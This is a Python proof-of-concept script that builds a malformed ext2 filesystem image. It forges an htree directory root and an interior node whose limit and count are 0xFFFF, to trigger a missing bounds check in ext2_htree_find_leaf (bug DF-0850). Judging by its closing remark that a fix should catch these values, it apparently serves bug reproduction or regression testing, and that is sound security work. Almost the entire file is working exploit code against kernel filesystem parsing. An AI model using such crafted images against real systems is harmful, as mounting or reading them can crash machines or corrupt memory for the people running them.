#!/usr/bin/env python3
"""
Craft an ext2 image that triggers the missing interior-node limit validation
bug in ext2_htree_find_leaf (DF-0850).

V2: Fixed root htree so binary search correctly finds the entry pointing to
the interior node (not the header entry). This ensures the code path
descends into the interior node where the missing limit validation bug lives.
"""
import struct, shutil

IMG = "ext2_htree.img"
OUT = "ext2_htree_evil.img"
BLOCK_SIZE = 1024

shutil.copy(IMG, OUT)

def read_block(f, blk):
    f.seek(blk * BLOCK_SIZE)
    return bytearray(f.read(BLOCK_SIZE))

def write_block(f, blk, data):
    f.seek(blk * BLOCK_SIZE)
    f.write(data)

with open(OUT, 'r+b') as f:
    # 1. Enable DIRHASHINDEX feature
    f.seek(1024 + 92)
    feat = struct.unpack('<I', f.read(4))[0]
    feat |= 0x4
    f.seek(1024 + 92)
    f.write(struct.pack('<I', feat))

    # 2. Set IN_E3INDEX on inode 12 (testdir)
    inode_off = 36 * BLOCK_SIZE + 11 * 256
    f.seek(inode_off)
    inode = bytearray(f.read(256))
    i_flags = struct.unpack('<I', inode[32:36])[0]
    i_block = list(struct.unpack('<15I', inode[40:100]))
    i_flags |= 0x1000
    struct.pack_into('<I', inode, 32, i_flags)
    f.seek(inode_off)
    f.write(inode)

    root_blk = i_block[0]      # 562
    interior_blk = i_block[11] # 573

    # 3. Rewrite root block as htree root
    root_data = read_block(f, root_blk)

    # h_dot
    struct.pack_into('<IHBB', root_data, 0, 2, 12, 1, 2)
    root_data[8:12] = b'.\x00\x00\x00'
    # h_dotdot
    struct.pack_into('<IHBB', root_data, 12, 2, 12, 2, 2)
    root_data[20:24] = b'..\x00\x00'
    # h_info: hash_version=LEGACY(0), info_len=8, ind_levels=1
    struct.pack_into('<IBBBB', root_data, 24, 0, 0, 8, 1, 0)

    # Compute root_limit
    def dir_rec_len(n):
        return (8 + n + 3) & ~3
    space = BLOCK_SIZE - dir_rec_len(1) - dir_rec_len(2) - 8
    root_limit = space // 8

    # Header entry (h_entries[0] at offset 32):
    # limit=root_limit, count=2 (so binary search executes and finds h_entries[1])
    struct.pack_into('<HH', root_data, 32, root_limit, 2)
    struct.pack_into('<I', root_data, 36, 0)  # header h_blk unused

    # h_entries[1] (first real entry at offset 40):
    # hash=0 (covers all lookups), blk=interior_blk
    struct.pack_into('<I', root_data, 40, 0)            # h_hash = 0
    struct.pack_into('<I', root_data, 44, interior_blk) # h_blk = 573

    # h_entries[2] (second real entry at offset 48):
    # hash=0x7FFFFFFF (EOF sentinel), blk=0
    struct.pack_into('<I', root_data, 48, 0x7FFFFFFF)  # h_hash = EOF
    struct.pack_into('<I', root_data, 52, 0)            # h_blk

    write_block(f, root_blk, root_data)

    # 4. Create malicious interior node block
    interior = read_block(f, interior_blk)
    # Fake dirent: reclen=block_size
    struct.pack_into('<IHBB', interior, 0, 0, BLOCK_SIZE, 0, 0)
    # Header: limit=0xFFFF, count=0xFFFF
    struct.pack_into('<HH', interior, 8, 0xFFFF, 0xFFFF)
    struct.pack_into('<I', interior, 12, 0)
    # One "real" entry at h_entries[1]
    struct.pack_into('<I', interior, 16, 0)
    struct.pack_into('<I', interior, 20, 0)

    write_block(f, interior_blk, interior)

print(f"Done! Evil image v2: {OUT}")
print(f"  root_limit={root_limit}, root count=2, 1 real entry -> blk {interior_blk}")
print(f"  interior node: limit=0xFFFF count=0xFFFF (should be caught by fix)")